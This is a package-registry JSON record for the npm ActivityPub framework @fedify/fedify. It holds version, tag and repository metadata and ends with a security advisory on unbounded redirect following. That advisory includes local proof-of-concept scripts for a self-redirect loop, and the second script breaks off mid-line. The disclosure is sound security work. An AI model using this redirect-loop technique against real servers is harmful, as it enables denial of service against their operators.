{"id":9386961,"name":"@fedify/fedify","ecosystem":"npm","description":"An ActivityPub server framework","homepage":"https://fedify.dev/","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/fedify-dev/fedify","keywords_array":["ActivityPub","fediverse"],"namespace":"fedify","versions_count":1246,"first_release_published_at":"2024-03-30T14:17:40.910Z","latest_release_published_at":"2026-04-23T02:51:09.971Z","latest_release_number":"2.1.10","last_synced_at":"2026-04-25T01:11:27.479Z","created_at":"2024-03-30T14:20:17.527Z","updated_at":"2026-04-25T02:10:40.627Z","registry_url":"https://www.npmjs.com/package/@fedify/fedify","install_command":"npm install @fedify/fedify","documentation_url":null,"metadata":{"funding":["https://opencollective.com/fedify","https://github.com/sponsors/dahlia"],"dist-tags":{"pr-352":"1.7.8-pr.352.1315","pr-405":"1.9.0-pr.405.1518","pr-421":"1.9.0-pr.421.1747","pr-474":"2.0.0-pr.474.1879","pr-478":"2.0.0-pr.478.1918","pr-479":"2.0.0-pr.479.1922","pr-490":"2.0.0-pr.490.2","pr-559":"2.0.0-pr.559.6","pr-633":"2.0.6-pr.633.9","pr-639":"2.0.7-pr.639.14","pr-697":"2.2.0-pr.697.18","pr-708":"2.2.0-pr.708.19","pr-709":"2.2.0-pr.709.20","pr-695":"2.2.0-pr.695.23","latest":"2.1.10","pr-710":"2.2.0-pr.710.26","pr-715":"2.2.0-pr.715.28","dev":"2.2.0-dev.938"}},"repo_metadata":{"id":225469352,"uuid":"766072261","full_name":"dahlia/fedify","owner":"dahlia","description":"ActivityPub server framework in TypeScript","archived":false,"fork":false,"pushed_at":"2024-09-09T10:04:54.000Z","size":8912,"stargazers_count":385,"open_issues_count":17,"forks_count":16,"subscribers_count":7,"default_branch":"main","last_synced_at":"2024-09-09T13:50:45.991Z","etag":null,"topics":["activitypub","bun","deno","fedify","fediverse","nodejs","typescript"],"latest_commit_sha":null,"homepage":"https://fedify.dev/","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/dahlia.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-03-02T09:03:34.000Z","updated_at":"2024-09-09T10:04:57.000Z","dependencies_parsed_at":"2024-03-08T08:30:19.675Z","dependency_job_id":"a12e194d-f02b-4492-af7c-a5892a0fb3cf","html_url":"https://github.com/dahlia/fedify","commit_stats":null,"previous_names":["dahlia/fedify"],"tags_count":37,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dahlia","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":218358374,"owners_count":16318128,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"dahlia","name":"Hong Minhee (洪 民憙)","uuid":"12431","kind":"user","description":"A software engineer from Seoul.  An advocate of F/OSS, fediverse, and cypherpunk. Hack into East Asian languages.","email":"","website":"https://hongminhee.org/","location":"Seoul, Republic of Korea","twitter":"hongminhee","company":null,"icon_url":"https://avatars.githubusercontent.com/u/12431?u=097a8f214aa625a9e5909a16cb749a774bf13141\u0026v=4","repositories_count":219,"last_synced_at":"2024-05-20T14:32:10.083Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/dahlia","funding_links":["https://github.com/sponsors/dahlia"],"total_stars":4548,"followers":862,"following":297,"created_at":"2022-11-02T16:36:45.087Z","updated_at":"2024-05-20T14:32:14.146Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dahlia","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dahlia/repositories"},"tags":[{"name":"0.14.4","sha":"456206cc5e22c9b9f5663fbe8a5fcad58e82af56","kind":"tag","published_at":"2024-09-06T10:40:05.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.14.4","html_url":"https://github.com/dahlia/fedify/releases/tag/0.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.14.4/manifests"},{"name":"0.13.5","sha":"b4ace75cc9ff9fbe5f3dc182eecab635b47fb810","kind":"tag","published_at":"2024-09-06T10:37:31.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.13.5","html_url":"https://github.com/dahlia/fedify/releases/tag/0.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.5/manifests"},{"name":"0.14.3","sha":"2801037cda8669e0e8d9d1a6ad02681bcef3b440","kind":"tag","published_at":"2024-09-01T12:47:57.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.14.3","html_url":"https://github.com/dahlia/fedify/releases/tag/0.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.14.3/manifests"},{"name":"0.13.4","sha":"d230a7e22c93daf5235a5413a513244253ce32b3","kind":"tag","published_at":"2024-09-01T12:46:03.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.13.4","html_url":"https://github.com/dahlia/fedify/releases/tag/0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.4/manifests"},{"name":"0.14.2","sha":"3221409f71db25753a0262c50e9bc85c9c83a17c","kind":"tag","published_at":"2024-08-30T04:04:32.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.14.2","html_url":"https://github.com/dahlia/fedify/releases/tag/0.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.14.2/manifests"},{"name":"0.13.3","sha":"8951fc1e1e8e61b48d1fd38e1ddee45409f83ecd","kind":"tag","published_at":"2024-08-30T04:01:27.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.13.3","html_url":"https://github.com/dahlia/fedify/releases/tag/0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.3/manifests"},{"name":"0.14.1","sha":"d055c71ae2031f8082b46935a28a8d463ce5f11b","kind":"tag","published_at":"2024-08-29T11:05:10.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.14.1","html_url":"https://github.com/dahlia/fedify/releases/tag/0.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.14.1/manifests"},{"name":"0.13.2","sha":"6ccdae05c52030af076d738a29005c16a07436b0","kind":"tag","published_at":"2024-08-29T11:01:47.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.13.2","html_url":"https://github.com/dahlia/fedify/releases/tag/0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.2/manifests"},{"name":"0.14.0","sha":"8f148c4118d18d29bffa4191af5cb3747898a814","kind":"tag","published_at":"2024-08-26T15:03:33.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.14.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.14.0/manifests"},{"name":"0.13.1","sha":"043db5b7b229cf381b68721504ae3c93e814d85f","kind":"tag","published_at":"2024-08-18T11:11:49.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.13.1","html_url":"https://github.com/dahlia/fedify/releases/tag/0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.1/manifests"},{"name":"0.12.3","sha":"bc5b40be470abb3d6ec7cda794a505aa9294676e","kind":"tag","published_at":"2024-08-18T10:49:52.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.12.3","html_url":"https://github.com/dahlia/fedify/releases/tag/0.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.12.3/manifests"},{"name":"0.13.0","sha":"5223e88bbe7177623ae7b762f4a2c8c9ca77142f","kind":"tag","published_at":"2024-08-07T04:44:25.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.13.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.13.0/manifests"},{"name":"0.12.2","sha":"259452a8c4d0cab1db1252bf9637266e2212ab21","kind":"tag","published_at":"2024-07-31T09:02:52.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.12.2","html_url":"https://github.com/dahlia/fedify/releases/tag/0.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.12.2/manifests"},{"name":"0.12.1","sha":"a3e535e4b3d00a5eb72fcfe6352593317e290d07","kind":"tag","published_at":"2024-07-27T11:05:49.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.12.1","html_url":"https://github.com/dahlia/fedify/releases/tag/0.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.12.1/manifests"},{"name":"0.12.0","sha":"eb16b11daa48e606a7b5da6203658787050aea7f","kind":"tag","published_at":"2024-07-24T07:07:55.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.12.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.12.0/manifests"},{"name":"0.11.3","sha":"6045b822475f2bb6f63fc8651dabd7d17d2d6812","kind":"tag","published_at":"2024-07-15T09:57:04.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.11.3","html_url":"https://github.com/dahlia/fedify/releases/tag/0.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.11.3/manifests"},{"name":"0.11.2","sha":"d9cf85ed7e85e256895ca95be7a3950d377903d2","kind":"tag","published_at":"2024-07-09T06:18:31.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.11.2","html_url":"https://github.com/dahlia/fedify/releases/tag/0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.11.2/manifests"},{"name":"0.10.2","sha":"212948814142bedbeb0521b4709efa2a4accb012","kind":"tag","published_at":"2024-07-09T06:11:26.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.10.2","html_url":"https://github.com/dahlia/fedify/releases/tag/0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.10.2/manifests"},{"name":"0.9.3","sha":"7600281a13aefc5630c5695d48c0cabff88e270f","kind":"tag","published_at":"2024-07-09T06:07:48.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.9.3","html_url":"https://github.com/dahlia/fedify/releases/tag/0.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.9.3/manifests"},{"name":"0.11.1","sha":"85b9b7560ff01dd8dcc2be9da960e411dead6c27","kind":"tag","published_at":"2024-07-05T02:29:06.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.11.1","html_url":"https://github.com/dahlia/fedify/releases/tag/0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.11.1/manifests"},{"name":"0.10.1","sha":"7163c25ed8fb7100598842ff65492fbac80cfea5","kind":"tag","published_at":"2024-07-05T02:22:16.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.10.1","html_url":"https://github.com/dahlia/fedify/releases/tag/0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.10.1/manifests"},{"name":"0.9.2","sha":"944d1aee1f06eaa620941712589b0dce0702306a","kind":"tag","published_at":"2024-07-05T02:05:51.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.9.2","html_url":"https://github.com/dahlia/fedify/releases/tag/0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.9.2/manifests"},{"name":"0.11.0","sha":"dcd1fed0a2dba133ee0e88cc356d9090370961f0","kind":"tag","published_at":"2024-06-28T15:47:29.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.11.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.11.0/manifests"},{"name":"0.10.0","sha":"c77c868282e4b1ecf61f297ab1cdaabf6a998639","kind":"tag","published_at":"2024-06-18T14:52:41.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.10.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.10.0/manifests"},{"name":"0.9.1","sha":"c27ed6637b08c754681ddf3650857ca9e6fc9468","kind":"tag","published_at":"2024-06-13T03:42:55.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.9.1","html_url":"https://github.com/dahlia/fedify/releases/tag/0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.9.1/manifests"},{"name":"0.9.0","sha":"ecc6c8c419c721e1440b2bce90f165fe48af96e6","kind":"tag","published_at":"2024-06-02T06:48:21.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.9.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.9.0/manifests"},{"name":"0.8.0","sha":"ddccacc7220b40ee0e383643b2fdc9c255cd10dd","kind":"tag","published_at":"2024-05-06T13:31:58.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.8.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.8.0/manifests"},{"name":"0.7.0","sha":"2ca4b2c863c6a638eff2194129e603cfd614136c","kind":"tag","published_at":"2024-04-23T11:51:54.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.7.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.7.0/manifests"},{"name":"0.6.1","sha":"9e66924d65880ef95591ab817aa522e2c1bc994d","kind":"tag","published_at":"2024-04-17T02:10:30.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.6.1","html_url":"https://github.com/dahlia/fedify/releases/tag/0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.6.1/manifests"},{"name":"0.5.2","sha":"9e6eab83b3c81275b8d830e264d8247720648644","kind":"tag","published_at":"2024-04-17T02:03:32.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.5.2","html_url":"https://github.com/dahlia/fedify/releases/tag/0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.5.2/manifests"},{"name":"0.6.0","sha":"0b4fe36e4aaf94252d28740b12af4af35069ab02","kind":"tag","published_at":"2024-04-09T07:07:45.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.6.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.6.0/manifests"},{"name":"0.5.1","sha":"24728173842a2167605d09f2cd13d8aafcc8c39c","kind":"tag","published_at":"2024-04-05T04:16:28.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.5.1","html_url":"https://github.com/dahlia/fedify/releases/tag/0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.5.1/manifests"},{"name":"0.5.0","sha":"e246bad0989d2508e3c4551dfa2b15df22df1cdf","kind":"tag","published_at":"2024-04-01T15:36:18.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.5.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.5.0/manifests"},{"name":"0.4.0","sha":"0af713744ef60764919eb0ea48dd5b672c9a651e","kind":"tag","published_at":"2024-03-26T12:25:23.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.4.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.4.0/manifests"},{"name":"0.3.0","sha":"f2b1ff624f576ab2f0fd2d37611a9f742172acb2","kind":"tag","published_at":"2024-03-15T02:01:58.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.3.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.3.0/manifests"},{"name":"0.2.0","sha":"0123f8bcad0c241b254ac52eff9eba6706bc7986","kind":"tag","published_at":"2024-03-10T12:25:28.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.2.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.2.0/manifests"},{"name":"0.1.0","sha":"6ba04d593570d5a23d656b513a9ffcc5faa36981","kind":"tag","published_at":"2024-03-08T12:43:19.000Z","download_url":"https://codeload.github.com/dahlia/fedify/tar.gz/0.1.0","html_url":"https://github.com/dahlia/fedify/releases/tag/0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dahlia%2Ffedify/tags/0.1.0/manifests"}]},"repo_metadata_updated_at":"2024-09-09T18:28:45.933Z","dependent_packages_count":0,"downloads":27847,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":31.99317927180915,"dependent_packages_count":45.882961521559736,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":38.938070396684445},"purl":"pkg:npm/%40fedify/fedify","advisories":[{"uuid":"GSA_kwCzR0hTQS1nbTltLWd3YzQtaHdncM4ABU1p","url":"https://github.com/advisories/GHSA-gm9m-gwc4-hwgp","title":"Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution","description":"### Summary\n\n`@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.\n\n### Details\n\nFedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -\u003e `verifyRequest()` -\u003e `fetchKeyInternal()` -\u003e document loader.\n\nIn affected versions:\n- the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header\n- the authenticated redirect path (`doubleKnock()`) also recursively follows redirects\n- neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops\n\nAs a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: \u003csame URL\u003e`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.\n\nI confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.\n\nFailed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`.\n\n### PoC\n\nMinimal direct reproduction with the package:\n\n1. Install `@fedify/fedify@1.9.2`.\n2. Save and run the following script:\n\n```js\nimport http from \"node:http\";\nimport { getDocumentLoader } from \"@fedify/fedify\";\n\nconst port = 45679;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) =\u003e {\n  count += 1;\n\n  if (count \u003c redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const loader = getDocumentLoader({ allowPrivateAddress: true });\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n3. Observe output similar to:\n\n```\n{ count: 120 }\n```\n\nThis shows the loader followed 119 self-redirects before the first non-redirect response.\n\nThe authenticated loader used for signed requests shows the same behavior:\n\n```\nimport http from \"node:http\";\nimport {\n  generateCryptoKeyPair,\n  getAuthenticatedDocumentLoader,\n} from \"@fedify/fedify\";\n\nconst port = 45680;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) =\u003e {\n  count += 1;\n\n  if (count \u003c redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const { privateKey } = await 